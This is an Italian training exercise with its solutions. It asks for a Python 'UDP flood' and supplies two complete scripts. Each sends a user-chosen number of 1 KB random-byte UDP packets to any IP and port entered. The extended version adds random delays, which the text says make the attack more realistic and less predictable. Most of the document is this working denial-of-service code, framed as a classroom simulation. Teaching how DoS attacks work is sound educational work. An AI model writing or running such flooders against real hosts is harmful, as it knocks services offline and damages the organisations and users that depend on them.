

Traccia:

Gli attacchi di tipo DDoS, ovvero Distributed Denial of Services, mirano a saturare le richieste di determinati servizi rendendoli così indisponibili con conseguenti impatti sul business delle aziende.

L'esercizio di oggi è scrivere un programma in Python che simuli un **UDP flood**, ovvero l'invio massivo di richieste **UDP** verso una macchina target che è in **ascolto** su una porta UDP **casuale** (nel nostro caso un DoS).

PDF Embed API

Requisiti:

- Il programma deve richiedere l'inserimento dell'IP target (input)
- Il programma deve richiedere l'inserimento della porta target (input)
- La grandezza dei pacchetti da inviare è di 1 KB per pacchetto – **Suggerimento**: per costruire il pacchetto da 1KB potete utilizzare il modulo «random» per la generazione di byte casuali.
- Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare (input)

Facoltativo:

Estendere l'esercizio implementando un meccanismo di ritardo casuale tra l'invio di pacchetti UDP. Questo può rendere l'attacco più realistico e meno prevedibile, simulando meglio il comportamento di un numero elevato di utenti che inviano richieste al server in modo indipendente.

Il ritardo casuale deve essere tra 0 e 0.1 secondi.

^

```
import socket
import random

# richiesta dell'IP target
target_ip = input("Inserisci l'IP target: ")

# richiesta della porta target
target_port = int(input("Inserisci la porta target: "))

# creazione del socket UDP
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# generazione di byte casuali per il pacchetto da 1 KB
packet = bytearray(random.getrandbits(8) for _ in range(1024))

# richiesta del numero di pacchetti da inviare
num_packets = int(input("Inserisci il numero di pacchetti da inviare: "))

# invio massivo dei pacchetti
for _ in range(num_packets):
    udp_socket.sendto(packet, (target_ip, target_port))

udp_socket.close()

print(f"UDP flood completato. {num_packets} pacchetti da 1 KB inviati a {target_ip}:{target_port}.")
```

ESTENSIONE ESERCIZIO:

```

import socket
import random
import time

def udp_flood(target_ip, target_port, num_packets):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    for _ in range(num_packets):
        packet = bytearray(random.getrandbits(8) for _ in range(1024)) # Genera
pacchetto da 1KB

        sock.sendto(packet, (target_ip, target_port))

        delay = random.uniform(0, 0.1) # Genera un ritardo casuale tra 0 e 0.1
secondi
        time.sleep(delay)

    sock.close()
    print(f"Sono stati inviati {num_packets} pacchetti UDP a
{target_ip}:{target_port}")

if __name__ == "__main__":
    target_ip = input("Inserisci l'IP del target: ")
    target_port = int(input("Inserisci la porta del target: "))
    num_packets = int(input("Inserisci il numero di pacchetti da inviare: "))

    udp_flood(target_ip, target_port, num_packets)

```